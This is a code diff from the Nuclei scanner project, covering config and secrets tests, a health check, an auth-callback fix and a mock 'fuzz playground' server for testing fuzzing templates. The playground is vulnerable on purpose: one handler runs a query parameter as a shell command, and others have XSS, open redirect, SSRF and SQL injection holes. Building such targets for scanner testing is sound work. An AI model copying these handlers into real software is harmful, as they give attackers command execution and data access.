dynamic:
|
||||
- template: oauth-flow.yaml
|
||||
variables:
|
||||
- key: username
|
||||
value: testuser
|
||||
type: cookie
|
||||
domains:
|
||||
- auth.example.com
|
||||
`
|
||||
tmpFile, err := os.CreateTemp(t.TempDir(), "test-secrets-*.yaml")
|
||||
if err != nil {
|
||||
t.Fatalf("could not create temp file: %v", err)
|
||||
}
|
||||
if _, err := tmpFile.WriteString(profileContent); err != nil {
|
||||
t.Fatalf("could not write profile: %v", err)
|
||||
}
|
||||
if err := tmpFile.Close(); err != nil {
|
||||
t.Fatalf("could not close temp file: %v", err)
|
||||
}
|
||||
|
||||
opts := &types.Options{}
|
||||
tempDir, err := processInlineSecretsFromProfile(tmpFile.Name(), opts)
|
||||
if err != nil {
|
||||
t.Fatalf("processInlineSecretsFromProfile failed: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
_ = os.RemoveAll(tempDir)
|
||||
}()
|
||||
|
||||
data, err := os.ReadFile(opts.SecretsFile[0])
|
||||
if err != nil {
|
||||
t.Fatalf("could not read secrets file: %v", err)
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
// The secrets section should contain static and dynamic at root level,
|
||||
// matching the Authx struct yaml tags
|
||||
if !strings.Contains(content, "static:") {
|
||||
t.Errorf("secrets file should have 'static:' key for Authx compatibility, got:\n%s", content)
|
||||
}
|
||||
if !strings.Contains(content, "dynamic:") {
|
||||
t.Errorf("secrets file should have 'dynamic:' key for Authx compatibility, got:\n%s", content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyProfileParsesInlineTargets(t *testing.T) {
|
||||
profilePath := filepath.Join(t.TempDir(), "profile.yaml")
|
||||
writeConfigFile(t, profilePath, "severity: [high]\n")
|
||||
options := &types.Options{
|
||||
InlineTargetsList: "inline.example\n# comment\n",
|
||||
TargetsFilePath: "list.example\n\nsecond.example\n",
|
||||
}
|
||||
|
||||
tempSecretsDir, err := ApplyProfile(profilePath, options)
|
||||
if err != nil {
|
||||
t.Fatalf("apply profile: %v", err)
|
||||
}
|
||||
if tempSecretsDir != "" {
|
||||
t.Fatalf("temporary secrets directory = %q, want empty", tempSecretsDir)
|
||||
}
|
||||
want := []string{"inline.example", "list.example", "second.example"}
|
||||
if strings.Join(options.Targets, ",") != strings.Join(want, ",") {
|
||||
t.Fatalf("targets = %v, want %v", options.Targets, want)
|
||||
}
|
||||
if options.TargetsFilePath != "" {
|
||||
t.Fatalf("targets file path = %q, want empty", options.TargetsFilePath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveProfilePathByID(t *testing.T) {
|
||||
templatesDir := t.TempDir()
|
||||
profilePath := filepath.Join(templatesDir, "profiles", "nested", "recommended.yaml")
|
||||
writeConfigFile(t, profilePath, "severity: [high]\n")
|
||||
|
||||
got, err := ResolveProfilePath("recommended", templatesDir)
|
||||
if err != nil {
|
||||
t.Fatalf("resolve profile ID: %v", err)
|
||||
}
|
||||
if got != profilePath {
|
||||
t.Fatalf("profile path = %q, want %q", got, profilePath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTemplatesDirectoryOverridePrecedence(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
envDir := filepath.Join(dir, "environment")
|
||||
flagDir := filepath.Join(dir, "flag")
|
||||
t.Setenv(catalogconfig.NucleiTemplatesDirEnv, envDir)
|
||||
|
||||
got, overridden := TemplatesDirectoryOverride(&types.Options{NewTemplatesDirectory: flagDir})
|
||||
if !overridden {
|
||||
t.Fatal("flag template directory was not reported as an override")
|
||||
}
|
||||
want, err := filepath.Abs(flagDir)
|
||||
if err != nil {
|
||||
t.Fatalf("resolve expected path: %v", err)
|
||||
}
|
||||
if got != want {
|
||||
t.Fatalf("template directory = %q, want flag path %q", got, want)
|
||||
}
|
||||
}
|
||||
File renamed without changes.
@@ -0,0 +1,303 @@
|
||||
// This package provides a mock server for testing fuzzing templates
|
||||
package fuzzplayground
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
)
|
||||
|
||||
// PlaygroundServer wraps the fuzz playground handler with the lifecycle methods
|
||||
// used by the integration tests and the standalone playground command.
|
||||
type PlaygroundServer struct {
|
||||
handler http.Handler
|
||||
server *http.Server
|
||||
}
|
||||
|
||||
func GetPlaygroundServer() *PlaygroundServer {
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("GET /{$}", indexHandler)
|
||||
mux.HandleFunc("GET /info", infoHandler)
|
||||
mux.HandleFunc("GET /redirect", redirectHandler)
|
||||
mux.HandleFunc("GET /request", requestHandler)
|
||||
mux.HandleFunc("GET /email", emailHandler)
|
||||
mux.HandleFunc("GET /permissions", permissionsHandler)
|
||||
|
||||
mux.HandleFunc("GET /blog/post", numIdorHandler) // for num based idors like ?id=44
|
||||
mux.HandleFunc("POST /reset-password", resetPasswordHandler)
|
||||
mux.HandleFunc("GET /host-header-lab", hostHeaderLabHandler)
|
||||
mux.HandleFunc("GET /user/{id}/profile", userProfileHandler)
|
||||
mux.HandleFunc("POST /user", patchUnsanitizedUserHandler)
|
||||
mux.HandleFunc("GET /blog/posts", getPostsHandler)
|
||||
|
||||
handler := recoverPlaygroundRequest(logPlaygroundRequest(mux))
|
||||
return &PlaygroundServer{handler: handler}
|
||||
}
|
||||
|
||||
func (s *PlaygroundServer) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
s.handler.ServeHTTP(w, r)
|
||||
}
|
||||
|
||||
func (s *PlaygroundServer) Start(addr string) error {
|
||||
s.server = &http.Server{
|
||||
Addr: addr,
|
||||
Handler: s.handler,
|
||||
}
|
||||
if err := s.server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *PlaygroundServer) Close() error {
|
||||
if s.server == nil {
|
||||
return nil
|
||||
}
|
||||
return s.server.Close()
|
||||
}
|
||||
|
||||
var bodyTemplate = `<html>
|
||||
<head>
|
||||
<title>Fuzz Playground</title>
|
||||
</head>
|
||||
<body>
|
||||
%s
|
||||
</body>
|
||||
</html>`
|
||||
|
||||
func indexHandler(w http.ResponseWriter, _ *http.Request) {
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(bodyTemplate, `<h1>Fuzzing Playground</h1><hr>
|
||||
<ul>
|
||||
|
||||
<li><a href="/info?name=test&another=value&random=data">Info Page XSS</a></li>
|
||||
<li><a href="/redirect?redirect_url=/info?name=redirected_from_url">Redirect Page OpenRedirect</a></li>
|
||||
<li><a href="/request?url=https://example.com">Request Page SSRF</a></li>
|
||||
<li><a href="/email?text=important_user">Email Page SSTI</a></li>
|
||||
<li><a href="/permissions?cmd=whoami">Permissions Page CMDI</a></li>
|
||||
|
||||
<li><a href="/host-header-lab">Host Header Lab (X-Forwarded-Host Trusted)</a></li>
|
||||
<li><a href="/user/75/profile">User Profile Page SQLI (path parameter)</a></li>
|
||||
<li><a href="/user">POST on /user SQLI (body parameter)</a></li>
|
||||
<li><a href="/blog/posts">SQLI in cookie lang parameter value (eg. lang=en)</a></li>
|
||||
|
||||
</ul>
|
||||
`))
|
||||
}
|
||||
|
||||
func infoHandler(w http.ResponseWriter, r *http.Request) {
|
||||
query := r.URL.Query()
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(bodyTemplate, fmt.Sprintf("Name of user: %s%s%s", query.Get("name"), query.Get("another"), query.Get("random"))))
|
||||
}
|
||||
|
||||
func redirectHandler(w http.ResponseWriter, r *http.Request) {
|
||||
http.Redirect(w, r, r.URL.Query().Get("redirect_url"), http.StatusFound)
|
||||
}
|
||||
|
||||
func requestHandler(w http.ResponseWriter, r *http.Request) {
|
||||
requestURL := r.URL.Query().Get("url")
|
||||
data, err := retryablehttp.DefaultClient().Get(requestURL)
|
||||
if err != nil {
|
||||
writeHTML(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
defer func() {
|
||||
_ = data.Body.Close()
|
||||
}()
|
||||
|
||||
body, _ := io.ReadAll(data.Body)
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(bodyTemplate, string(body)))
|
||||
}
|
||||
|
||||
func emailHandler(w http.ResponseWriter, r *http.Request) {
|
||||
text := r.URL.Query().Get("text")
|
||||
if strings.Contains(text, "{{") {
|
||||
trimmed := strings.SplitN(strings.Trim(text[strings.Index(text, "{"):], "{}"), "*", 2)
|
||||
if len(trimmed) < 2 {
|
||||
writeHTML(w, http.StatusInternalServerError, "invalid template")
|
||||
return
|
||||
}
|
||||
first, _ := strconv.Atoi(trimmed[0])
|
||||
second, _ := strconv.Atoi(trimmed[1])
|
||||
text = strconv.Itoa(first * second)
|
||||
}
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(bodyTemplate, fmt.Sprintf("Text: %s", text)))
|
||||
}
|
||||
|
||||
func permissionsHandler(w http.ResponseWriter, r *http.Request) {
|
||||
command := r.URL.Query().Get("cmd")
|
||||
fields := strings.Fields(command)
|
||||
cmd := exec.Command(fields[0], fields[1:]...)
|
||||
data, _ := cmd.CombinedOutput()
|
||||
|
||||
writeHTML(w, http.StatusOK, fmt.Sprintf(bodyTemplate, string(data)))
|
||||
}
|
||||
|
||||
func numIdorHandler(w http.ResponseWriter, r *http.Request) {
|
||||
// validate if any numerical query param is present
|
||||
// if not, return 400 if so, return 200
|
||||
for k := range r.URL.Query() {
|
||||
value := r.URL.Query().Get(k)
|
||||
if _, err := strconv.Atoi(value); err == nil {
|
||||
writeJSON(w, http.StatusOK, "Profile Info for user with id "+value)
|
||||
return
|
||||
}
|
||||
}
|
||||
writeJSON(w, http.StatusBadRequest, "No numerical query param found")
|
||||
}
|
||||
|
||||
func patchUnsanitizedUserHandler(w http.ResponseWriter, r *http.Request) {
|
||||
var user User
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
// manually handle unmarshalling data
|
||||
if strings.Contains(contentType, "application/json") {
|
||||
if err := json.NewDecoder(r.Body).Decode(&user); err != nil {
|
||||
writeJSON(w, http.StatusInternalServerError, "Invalid JSON data")
|
||||
return
|
||||
}
|
||||
} else if strings.Contains(contentType, "application/x-www-form-urlencoded") {
|
||||
user.Name = r.FormValue("name")
|
||||
user.Age, _ = strconv.Atoi(r.FormValue("age"))
|
||||
user.Role = r.FormValue("role")
|
||||
user.ID, _ = strconv.Atoi(r.FormValue("id"))
|
||||
} else if strings.Contains(contentType, "application/xml") {
|
||||
bin, _ := io.ReadAll(r.Body)
|
||||
err := xml.Unmarshal(bin, &user)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusInternalServerError, "Invalid XML data")
|
||||
return
|
||||
}
|
||||
} else if strings.Contains(contentType, "multipart/form-data") {
|
||||
user.Name = r.FormValue("name")
|
||||
user.Age, _ = strconv.Atoi(r.FormValue("age"))
|
||||
user.Role = r.FormValue("role")
|
||||
user.ID, _ = strconv.Atoi(r.FormValue("id"))
|
||||
} else {
|
||||
writeJSON(w, http.StatusInternalServerError, "Invalid Content-Type")
|
||||
return
|
||||
}
|
||||
|
||||
err := patchUnsanitizedUser(db, user)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, "User updated successfully")
|
||||
}
|
||||
|
||||
// resetPassword mock
|
||||
func resetPasswordHandler(w http.ResponseWriter, r *http.Request) {
|
||||
var m map[string]interface{}
|
||||
if err := json.NewDecoder(r.Body).Decode(&m); err != nil {
|
||||
writeJSON(w, http.StatusInternalServerError, "Something went wrong")
|
||||
return
|
||||
}
|
||||
|
||||
host := r.Header.Get("X-Forwarded-For")
|
||||
if host == "" {
|
||||
writeJSON(w, http.StatusInternalServerError, "Something went wrong")
|
||||
return
|
||||
}
|
||||
password, ok := m["password"].(string)
|
||||
if !ok {
|
||||
writeJSON(w, http.StatusInternalServerError, "Something went wrong")
|
||||
return
|
||||
}
|
||||
resp, err := http.Get("http://internal." + host + "/update?user=1337&pass=" + password)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusInternalServerError, "Something went wrong")
|
||||
return
|
||||
}
|
||||
defer func() {
|
||||
_ = resp.Body.Close()
|
||||
}()
|
||||
writeJSON(w, http.StatusOK, "Password reset successfully")
|
||||
}
|
||||
|
||||
func hostHeaderLabHandler(w http.ResponseWriter, r *http.Request) {
|
||||
// vulnerable app has custom routing and trusts x-forwarded-host
|
||||
// to route to internal services
|
||||
if r.Header.Get("X-Forwarded-Host") != "" {
|
||||
resp, err := http.Get("http://" + r.Header.Get("X-Forwarded-Host"))
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusInternalServerError, "Something went wrong")
|
||||
return
|
||||
}
|
||||
defer func() {
|
||||
_ = resp.Body.Close()
|
||||
}()
|
||||
w.Header().Set("Content-Type", resp.Header.Get("Content-Type"))
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
_, err = io.Copy(w, resp.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, "Not a Teapot")
|
||||
}
|
||||
|
||||
func userProfileHandler(w http.ResponseWriter, r *http.Request) {
|
||||
val, _ := url.PathUnescape(r.PathValue("id"))
|
||||
fmt.Printf("Unescaped: %s\n", val)
|
||||
user, err := getUnsanitizedUser(db, val)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, user)
|
||||
}
|
||||
|
||||
func getPostsHandler(w http.ResponseWriter, r *http.Request) {
|
||||
lang, err := r.Cookie("lang")
|
||||
if err != nil {
|
||||
// If the language cookie is missing, default to English
|
||||
lang = new(http.Cookie)
|
||||
lang.Value = "en"
|
||||
}
|
||||
posts, err := getUnsanitizedPostsByLang(db, lang.Value)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, posts)
|
||||
}
|
||||
|
||||
func writeHTML(w http.ResponseWriter, statusCode int, value string) {
|
||||
w.Header().Set("Content-Type", "text/html; charset=UTF-8")
|
||||
w.WriteHeader(statusCode)
|
||||
_, _ = io.WriteString(w, value)
|
||||
}
|
||||
|
||||
func writeJSON(w http.ResponseWriter, statusCode int, value interface{}) {
|
||||
w.Header().Set("Content-Type", "application/json; charset=UTF-8")
|
||||
w.WriteHeader(statusCode)
|
||||
_ = json.NewEncoder(w).Encode(value)
|
||||
}
|
||||
|
||||
func recoverPlaygroundRequest(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
defer func() {
|
||||
if recovered := recover(); recovered != nil {
|
||||
http.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)
|
||||
}
|
||||
}()
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
func logPlaygroundRequest(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
log.Printf("%s %s", r.Method, r.URL.RequestURI())
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
File renamed without changes.
@@ -0,0 +1,52 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
pdcpauth "github.com/projectdiscovery/utils/auth/pdcp"
|
||||
)
|
||||
|
||||
type directoryRecord struct {
|
||||
label string
|
||||
path string
|
||||
}
|
||||
|
||||
func directoryRecords() []directoryRecord {
|
||||
return []directoryRecord{
|
||||
{label: "Nuclei Config Directory", path: config.DefaultConfig.GetConfigDir()},
|
||||
{label: "Nuclei State Directory", path: config.DefaultConfig.GetStateDir()},
|
||||
{label: "Nuclei Cache Directory", path: config.DefaultConfig.GetCacheDir()},
|
||||
{label: "PDCP Directory", path: pdcpauth.PDCPDir},
|
||||
}
|
||||
}
|
||||
|
||||
// AppendDirectoryInfo writes nuclei config/state/cache/PDCP directory paths.
|
||||
func AppendDirectoryInfo(w io.Writer) {
|
||||
for _, record := range directoryRecords() {
|
||||
_, _ = fmt.Fprintf(w, "%s: %s\n", record.label, record.path)
|
||||
}
|
||||
}
|
||||
|
||||
// DirectoryInfo returns nuclei config/state/cache/PDCP directory paths as a string.
|
||||
func DirectoryInfo() string {
|
||||
var b strings.Builder
|
||||
|
||||
AppendDirectoryInfo(&b)
|
||||
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// LogDirectoryInfo logs nuclei config/state/cache/PDCP directory paths at info level.
|
||||
func LogDirectoryInfo(logger *gologger.Logger) {
|
||||
if logger == nil {
|
||||
return
|
||||
}
|
||||
|
||||
for _, record := range directoryRecords() {
|
||||
logger.Info().Msgf("%s: %s", record.label, record.path)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/gologger/formatter"
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
pdcpauth "github.com/projectdiscovery/utils/auth/pdcp"
|
||||
)
|
||||
|
||||
type directoryLogWriter struct {
|
||||
records []string
|
||||
}
|
||||
|
||||
func (w *directoryLogWriter) Write(data []byte, _ levels.Level) {
|
||||
w.records = append(w.records, string(data))
|
||||
}
|
||||
|
||||
func TestDirectoryInfoContainsKnownLabels(t *testing.T) {
|
||||
info := DirectoryInfo()
|
||||
cfg := config.DefaultConfig
|
||||
|
||||
require.Equal(t, strings.Join([]string{
|
||||
fmt.Sprintf("Nuclei Config Directory: %s", cfg.GetConfigDir()),
|
||||
fmt.Sprintf("Nuclei State Directory: %s", cfg.GetStateDir()),
|
||||
fmt.Sprintf("Nuclei Cache Directory: %s", cfg.GetCacheDir()),
|
||||
fmt.Sprintf("PDCP Directory: %s", pdcpauth.PDCPDir),
|
||||
"",
|
||||
}, "\n"), info)
|
||||
require.Equal(t, 4, strings.Count(info, "\n"))
|
||||
}
|
||||
|
||||
func TestLogDirectoryInfoContainsKnownLabels(t *testing.T) {
|
||||
writer := &directoryLogWriter{}
|
||||
logger := &gologger.Logger{}
|
||||
logger.SetFormatter(formatter.NewCLI(true))
|
||||
logger.SetWriter(writer)
|
||||
logger.SetMaxLevel(levels.LevelInfo)
|
||||
|
||||
LogDirectoryInfo(logger)
|
||||
|
||||
require.Equal(t, []string{
|
||||
fmt.Sprintf("[INF] Nuclei Config Directory: %s", config.DefaultConfig.GetConfigDir()),
|
||||
fmt.Sprintf("[INF] Nuclei State Directory: %s", config.DefaultConfig.GetStateDir()),
|
||||
fmt.Sprintf("[INF] Nuclei Cache Directory: %s", config.DefaultConfig.GetCacheDir()),
|
||||
fmt.Sprintf("[INF] PDCP Directory: %s", pdcpauth.PDCPDir),
|
||||
}, writer.records)
|
||||
}
|
||||
@@ -15,63 +15,89 @@ import (
|
||||
func DoHealthCheck(options *types.Options) string {
|
||||
// RW permissions on config file
|
||||
var test strings.Builder
|
||||
test.WriteString(fmt.Sprintf("Version: %s\n", config.Version))
|
||||
test.WriteString(fmt.Sprintf("Operating System: %s\n", runtime.GOOS))
|
||||
test.WriteString(fmt.Sprintf("Architecture: %s\n", runtime.GOARCH))
|
||||
test.WriteString(fmt.Sprintf("Go Version: %s\n", runtime.Version()))
|
||||
test.WriteString(fmt.Sprintf("Compiler: %s\n", runtime.Compiler))
|
||||
fmt.Fprintf(&test, "Version: %s\n", config.Version)
|
||||
fmt.Fprintf(&test, "Operating System: %s\n", runtime.GOOS)
|
||||
fmt.Fprintf(&test, "Architecture: %s\n", runtime.GOARCH)
|
||||
fmt.Fprintf(&test, "Go Version: %s\n", runtime.Version())
|
||||
fmt.Fprintf(&test, "Compiler: %s\n", runtime.Compiler)
|
||||
AppendDirectoryInfo(&test)
|
||||
|
||||
var testResult string
|
||||
|
||||
cfg := config.DefaultConfig
|
||||
for _, filename := range []string{cfg.GetFlagsConfigFilePath(), cfg.GetIgnoreFilePath(), cfg.GetChecksumFilePath()} {
|
||||
if err := cfg.InitializationError(); err != nil {
|
||||
fmt.Fprintf(&test, "Configuration initialization => Ko (%s)\n", err)
|
||||
} else {
|
||||
fmt.Fprintln(&test, "Configuration initialization => Ok")
|
||||
}
|
||||
|
||||
for _, filename := range []string{
|
||||
cfg.GetFlagsConfigFilePath(),
|
||||
cfg.GetTemplatesStateFilePath(),
|
||||
cfg.GetActiveIgnoreFilePath(),
|
||||
cfg.GetChecksumFilePath(),
|
||||
} {
|
||||
ok, err := fileutil.IsReadable(filename)
|
||||
if ok {
|
||||
testResult = "Ok"
|
||||
} else {
|
||||
testResult = "Ko"
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
testResult += fmt.Sprintf(" (%s)", err)
|
||||
}
|
||||
test.WriteString(fmt.Sprintf("File \"%s\" Read => %s\n", filename, testResult))
|
||||
|
||||
fmt.Fprintf(&test, "File \"%s\" Read => %s\n", filename, testResult)
|
||||
ok, err = fileutil.IsWriteable(filename)
|
||||
if ok {
|
||||
testResult = "Ok"
|
||||
} else {
|
||||
testResult = "Ko"
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
testResult += fmt.Sprintf(" (%s)", err)
|
||||
}
|
||||
test.WriteString(fmt.Sprintf("File \"%s\" Write => %s\n", filename, testResult))
|
||||
|
||||
fmt.Fprintf(&test, "File \"%s\" Write => %s\n", filename, testResult)
|
||||
}
|
||||
|
||||
c4, err := net.Dial("tcp4", "scanme.sh:80")
|
||||
if err == nil && c4 != nil {
|
||||
_ = c4.Close()
|
||||
}
|
||||
|
||||
testResult = "Ok"
|
||||
if err != nil {
|
||||
testResult = fmt.Sprintf("Ko (%s)", err)
|
||||
}
|
||||
test.WriteString(fmt.Sprintf("IPv4 connectivity to scanme.sh:80 => %s\n", testResult))
|
||||
|
||||
fmt.Fprintf(&test, "IPv4 connectivity to scanme.sh:80 => %s\n", testResult)
|
||||
|
||||
c6, err := net.Dial("tcp6", "scanme.sh:80")
|
||||
if err == nil && c6 != nil {
|
||||
_ = c6.Close()
|
||||
}
|
||||
|
||||
testResult = "Ok"
|
||||
if err != nil {
|
||||
testResult = fmt.Sprintf("Ko (%s)", err)
|
||||
}
|
||||
test.WriteString(fmt.Sprintf("IPv6 connectivity to scanme.sh:80 => %s\n", testResult))
|
||||
|
||||
fmt.Fprintf(&test, "IPv6 connectivity to scanme.sh:80 => %s\n", testResult)
|
||||
|
||||
u4, err := net.Dial("udp4", "scanme.sh:53")
|
||||
if err == nil && u4 != nil {
|
||||
_ = u4.Close()
|
||||
}
|
||||
|
||||
testResult = "Ok"
|
||||
if err != nil {
|
||||
testResult = fmt.Sprintf("Ko (%s)", err)
|
||||
}
|
||||
test.WriteString(fmt.Sprintf("IPv4 UDP connectivity to scanme.sh:53 => %s\n", testResult))
|
||||
|
||||
fmt.Fprintf(&test, "IPv4 UDP connectivity to scanme.sh:53 => %s\n", testResult)
|
||||
|
||||
return test.String()
|
||||
}
|
||||
+10
-13
@@ -67,7 +67,10 @@ func GetAuthTmplStore(opts *types.Options, catalog catalog.Catalog, execOpts *pr
|
||||
// GetLazyAuthFetchCallback returns a lazy fetch callback for auth secrets
|
||||
func GetLazyAuthFetchCallback(opts *AuthLazyFetchOptions) authx.LazyFetchSecret {
|
||||
return func(d *authx.Dynamic) error {
|
||||
tmpls := opts.TemplateStore.LoadTemplates([]string{d.TemplatePath})
|
||||
tmpls, err := opts.TemplateStore.LoadTemplates([]string{d.TemplatePath})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to load templates: %w", err)
|
||||
}
|
||||
if len(tmpls) == 0 {
|
||||
return fmt.Errorf("%w for path: %s", disk.ErrNoTemplatesFound, d.TemplatePath)
|
||||
}
|
||||
@@ -106,11 +109,9 @@ func GetLazyAuthFetchCallback(opts *AuthLazyFetchOptions) authx.LazyFetchSecret
|
||||
var finalErr error
|
||||
ctx.OnResult = func(e *output.InternalWrappedEvent) {
|
||||
if e == nil {
|
||||
finalErr = fmt.Errorf("no result found for template: %s", d.TemplatePath)
|
||||
return
|
||||
}
|
||||
if !e.HasOperatorResult() {
|
||||
finalErr = fmt.Errorf("no result found for template: %s", d.TemplatePath)
|
||||
return
|
||||
}
|
||||
// dynamic values
|
||||
@@ -130,19 +131,15 @@ func GetLazyAuthFetchCallback(opts *AuthLazyFetchOptions) authx.LazyFetchSecret
|
||||
data[k] = v[0]
|
||||
}
|
||||
}
|
||||
if len(data) == 0 {
|
||||
if e.OperatorsResult.Matched {
|
||||
finalErr = fmt.Errorf("match found but no (dynamic/extracted) values found for template: %s", d.TemplatePath)
|
||||
} else {
|
||||
finalErr = fmt.Errorf("no match or (dynamic/extracted) values found for template: %s", d.TemplatePath)
|
||||
}
|
||||
}
|
||||
// log result of template in result file/screen
|
||||
_ = writer.WriteResult(e, opts.ExecOpts.Output, opts.ExecOpts.Progress, opts.ExecOpts.IssuesClient)
|
||||
}
|
||||
_, err := tmpl.Executer.ExecuteWithResults(ctx)
|
||||
if err != nil {
|
||||
finalErr = err
|
||||
_, execErr := tmpl.Executer.ExecuteWithResults(ctx)
|
||||
if execErr != nil {
|
||||
finalErr = execErr
|
||||
}
|
||||
if finalErr == nil && len(data) == 0 {
|
||||
finalErr = fmt.Errorf("no extracted values found for template: %s", d.TemplatePath)
|
||||
}
|
||||
// store extracted result in auth context
|
||||
d.Extracted = data
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
package runner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/operators"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/output"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
// simulateOnResultCallback reproduces the OnResult callback from lazy.go.
|
||||
// It silently skips events without operator results and only errors post-execution
|
||||
// if no data was extracted at all.
|
||||
func simulateOnResultCallback(templatePath string, events []*output.InternalWrappedEvent) (map[string]interface{}, error) {
|
||||
data := map[string]interface{}{}
|
||||
|
||||
for _, e := range events {
|
||||
if e == nil {
|
||||
continue
|
||||
}
|
||||
if !e.HasOperatorResult() {
|
||||
continue
|
||||
}
|
||||
for k, v := range e.OperatorsResult.DynamicValues {
|
||||
for _, value := range v {
|
||||
oldVal, ok := data[k]
|
||||
if !ok || len(value) > len(oldVal.(string)) {
|
||||
data[k] = value
|
||||
}
|
||||
}
|
||||
}
|
||||
for k, v := range e.OperatorsResult.Extracts {
|
||||
if len(v) > 0 {
|
||||
data[k] = v[0]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var finalErr error
|
||||
if len(data) == 0 {
|
||||
finalErr = fmt.Errorf("no extracted values found for template: %s", templatePath)
|
||||
}
|
||||
return data, finalErr
|
||||
}
|
||||
|
||||
// flowEvents returns a pair of events simulating a flow: http(1) && http(2)
|
||||
// where http(1) has no matchers and http(2) has extractors.
|
||||
func flowEvents() []*output.InternalWrappedEvent {
|
||||
return []*output.InternalWrappedEvent{
|
||||
{InternalEvent: map[string]interface{}{"status_code": 200}},
|
||||
{
|
||||
OperatorsResult: &operators.Result{
|
||||
Matched: true,
|
||||
Extracts: map[string][]string{
|
||||
"userid": {"USER-042"},
|
||||
"customerid": {"CUST-001"},
|
||||
},
|
||||
},
|
||||
InternalEvent: map[string]interface{}{"status_code": 200},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// TestCallbackWorksWithFlowTemplate verifies that the OnResult callback
|
||||
// correctly handles flow templates (e.g., flow: http(1) && http(2)) where
|
||||
// the first request has no matchers/extractors and the second has extractors.
|
||||
// Regression test for #7295.
|
||||
func TestCallbackWorksWithFlowTemplate(t *testing.T) {
|
||||
data, err := simulateOnResultCallback("login.yaml", flowEvents())
|
||||
|
||||
require.Equal(t, "USER-042", data["userid"])
|
||||
require.Equal(t, "CUST-001", data["customerid"])
|
||||
require.NoError(t, err, "should not error when data is extracted from a later event")
|
||||
}
|
||||
|
||||
// TestCallbackSingleRequest verifies single-request templates still work.
|
||||
func TestCallbackSingleRequest(t *testing.T) {
|
||||
events := []*output.InternalWrappedEvent{
|
||||
{
|
||||
OperatorsResult: &operators.Result{
|
||||
Matched: true,
|
||||
Extracts: map[string][]string{
|
||||
"token": {"abc123"},
|
||||
},
|
||||
},
|
||||
InternalEvent: map[string]interface{}{},
|
||||
},
|
||||
}
|
||||
|
||||
data, err := simulateOnResultCallback("auth.yaml", events)
|
||||
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "abc123", data["token"])
|
||||
}
|
||||
|
||||
// TestCallbackNoExtraction verifies error is returned when nothing is extracted.
|
||||
func TestCallbackNoExtraction(t *testing.T) {
|
||||
events := []*output.InternalWrappedEvent{
|
||||
{InternalEvent: map[string]interface{}{"status_code": 404}},
|
||||
}
|
||||
|
||||
data, err := simulateOnResultCallback("auth.yaml", events)
|
||||
|
||||
require.Error(t, err)
|
||||
require.Contains(t, err.Error(), "no extracted values")
|
||||
require.Empty(t, data)
|
||||
}
|
||||
|
||||
// TestCallbackNilEvent verifies nil events are safely ignored.
|
||||
func TestCallbackNilEvent(t *testing.T) {
|
||||
events := []*output.InternalWrappedEvent{nil}
|
